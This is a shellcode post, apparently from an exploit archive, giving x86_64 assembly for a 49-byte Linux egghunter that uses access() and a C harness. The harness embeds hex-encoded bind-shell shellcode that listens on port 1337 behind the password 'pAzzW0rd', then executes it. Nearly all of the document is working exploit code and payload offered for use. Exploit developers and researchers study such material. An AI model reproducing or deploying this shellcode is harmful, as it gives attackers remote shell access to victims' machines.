; Author Doreth.Z10 ; ; Linux x86_64 Egghunter using sys_access() ; Shellcode size 49 bytes ; global _start section .text _start: xor rsi, rsi ; Some prep junk. push rsi pop rdx push 8 pop rbx go_end_of_page: or dx, 0xfff ; We align with a page size of 0x1000 next_byte: inc rdx ; next byte offset push 21 pop rax ; We load access() in RAX push rdx pop rdi add rdi, rbx ; We need to be sure our 8 byte egg check does not span across 2 pages syscall ; syscall to access() cmp al, 0xf2 ; Checks for EFAULT. EFAULT indicates bad page access. jz go_end_of_page ; if EFAULT, try next page ; -- ; Put your won egg here ! mov eax, 0xBEBDBEBD ; Egg contruction so we dont catch ourself ! not eax ; Important, EGG must contain NOP like instruction bytecode. ; -- mov rdi, rdx scasd jnz next_byte ; if egg does not match, try next byte cmp eax, [rdi] jnz next_byte ; if egg does not match, try next byte jmp rdi ; Good, found egg. Jump ! ; Important, EGG must contain NOP like instruction bytecode. ; ; Egghunter demonstration ; ; bindshell is pushed in the heap using a malloc() call and pre-pended with the egg. Then egghunter is fired. ; ; Depending on size of the malloc() call, binshell can be anywhere in the address space. ; For a big malloc() size like 1 000 000 bytes, it will be placed far in the address space. ; A malloc(1000000) was tested on a Unbuntu system with Inter Core i7 and it took over 9 hrs for the egghunter ; to find the egg. ; ; Enjoy. #include <stdio.h> #include <stdlib.h> #include <string.h> unsigned char egg[] = "YOUR EGG HERE 4 bytes"; // In this example we use a password protected binshell on port 1337: pAzzW0rd unsigned char bindshell[] = "\xeb\x09\x48\x31\xff\x48\xf7\xe7\x57\x5e\xc3\x55\x48\x89\xe5\xe8\xee\xff\xff\xff\x04\x29\x40\x80\xc7\x02\xff\xc6\x0f\x05\x50\xe8\xde\xff\xff\xff\x04\x31\x48\x8b\x3c\x24\x56\x81\xc6\x03\x01\x05\x39\x66\x81\xee\x01\x01\x56\x48\x89\xe6\x80\xc2\x10\x0f\x05\xe8\xbe\xff\xff\xff\x04\x32\x48\x8b\x7d\xf8\x0f\x05\xe8\xb1\xff\xff\xff\x04\x2b\x48\x8b\x7d\xf8\x48\x89\xe6\x80\xc2\x18\x52\x48\x89\xe2\x0f\x05\x49\x89\xc0\xe8\x97\xff\xff\xff\x4c\x89\xc7\x40\x80\xec\x18\x48\x89\xe6\x80\xc2\x18\x0f\x05\x48\xb8\x70\x41\x7a\x7a\x57\x30\x72\x64\x48\x89\xe7\x48\xaf\x75\x42\x48\x31\xc0\x4c\x89\xc7\x48\x31\xf6\x40\x80\xc6\x02\x04\x21\x0f\x05\x48\x31\xc0\x04\x21\x48\xff\xce\x75\xf4\x0f\x05\xe8\x55\xff\xff\xff\x50\x04\x3b\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x41\x50\x48\x89\xe7\x52\x48\x89\xe2\x57\x48\x89\xe6\x48\x89\xec\x5d\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05"; unsigned char egghunter[] = "\x48\x31\xf6\x56\x5a\x6a\x08\x5b\x66\x81\xca\xff\x0f\x48\xff\xc2\x6a\x15\x58\x52\x5f\x48\x01\xdf\x0f\x05\x3c\xf2\x74\xea\xb8\xbd\xbe\xbd\xbe\xf7\xd0\x48\x89\xd7\xaf\x75\xe2\x3b\x07\x75\xde\xff\xe7"; main() { char *heap = (char*)malloc(1000000); memset(heap, '\0', 512); strncpy(heap, egg, 4); strncpy(heap+4, egg, 4); strncpy(heap+8, bindshell, 212); printf("Egghunter Length: %d\n", strlen(egghunter)); printf("Shellcode Length: %d\n", strlen(bindshell)); int (*ret)() = (int(*)())egghunter; ret(); return 0; }